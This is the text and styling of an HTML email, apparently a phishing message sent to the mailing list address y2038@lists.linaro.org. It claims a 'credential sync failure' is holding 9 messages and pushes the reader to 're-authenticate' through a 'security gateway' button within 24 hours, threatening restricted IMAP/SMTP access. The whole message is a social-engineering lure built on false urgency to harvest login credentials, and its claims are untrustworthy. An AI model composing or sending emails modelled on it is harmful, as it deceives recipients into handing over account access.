Credential Sync Failure * { margin: 0; padding: 0; box-sizing: border-box; } body { background-color: #f4f6f8; font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', 'SF Mono', monospace, 'Helvetica Neue', Arial, sans-serif; color: #1a1a1a; padding: 56px 24px; -webkit-font-smoothing: antialiased; } .email-outer { max-width: 620px; margin: 0 auto; } .card { background: #ffffff; border: 1px solid #e6eaef; padding: 44px 40px 48px; box-shadow: 0 4px 12px rgba(0, 0, 0, 0.02); } .node-tag { font-family: 'SF Mono', 'Consolas', monospace; font-size: 10px; letter-spacing: 2.8px; text-transform: uppercase; color: #6a7a8a; margin-bottom: 10px; } .accent-line { width: 120px; height: 2px; background: #b85c3a; margin-bottom: 40px; } h1 { font-family: 'Inter', system-ui, sans-serif; font-size: 18px; font-weight: 650; text-transform: uppercase; letter-spacing: 1.2px; color: #1a2a3a; margin-bottom: 32px; line-height: 1.3; } .salutation { font-size: 14px; font-weight: 500; color: #1a1a1a ; margin-bottom: 18px; } .salutation strong { color: #b85c3a; } .body-copy { font-size: 14px; line-height: 1.8; color: #2a2a2a; margin-bottom: 32px; letter-spacing: -0.1px; } .body-copy strong { color: #1a2a3a; font-weight: 600; } .body-copy .highlight { color: #b85c3a; font-weight: 500; } .action-block { background: #faf8f6; border-left: 3px solid #b85c3a; padding: 20px 24px; margin: 32px 0 28px; } .action-title { font-size: 11px; font-weight: 700; text-transform: uppercase; letter-spacing: 1px; color: #b85c3a; margin-bottom: 6px; } .action-desc { font-size: 13px; line-height: 1.7; color: #2a2a2a; } .button-wrap { margin: 28px 0 48px; } .sync-btn { display: inline-block; background: #1a2a3a; color: #ffffff; text-decoration: none; font-family: 'SF Mono', 'Consolas', monospace; font-weight: 600; font-size: 11px; letter-spacing: 1.5px; text-transform: uppercase; padding: 14px 32px; border-radius: 0; transition: all 0.25s ease; } .sync-btn:hover { background: #b85c3a; } .footer-meta { font-family: 'SF Mono', 'Consolas', monospace; font-size: 10.5px; color: #9aaeb8; line-height: 1.7; letter-spacing: 0.2px; } .footer-meta .ref { color: #b85c3a; } @media (max-width: 520px) { .card { padding: 28px 24px; } h1 { font-size: 15px; } .action-block { padding: 16px 18px; } .sync-btn { display: block; text-align: center; } } MAIL_SYNC // lists.linaro.org Credential Sync FailureAction Required Dear y2038@lists.linaro.org, Our system has detected a credential sync failure affecting your account y2038@lists.linaro.org. The server was unable to validate your current authentication tokens, which has resulted in 9 pending messages being held in the delivery queue. To release these messages and restore full mail flow, please re‑authenticate your credentials with the updated security gateway. Required Within 24 Hours Accounts that are not re‑synchronized will experience continued delivery delays and temporary restrictions on IMAP/SMTP access. Re‑Sync Credentials &# 8594; System alert generated by lists.linaro.org Mail Services. Ref: 0x‑CRED‑ERR‑y2038@lists.linaro.org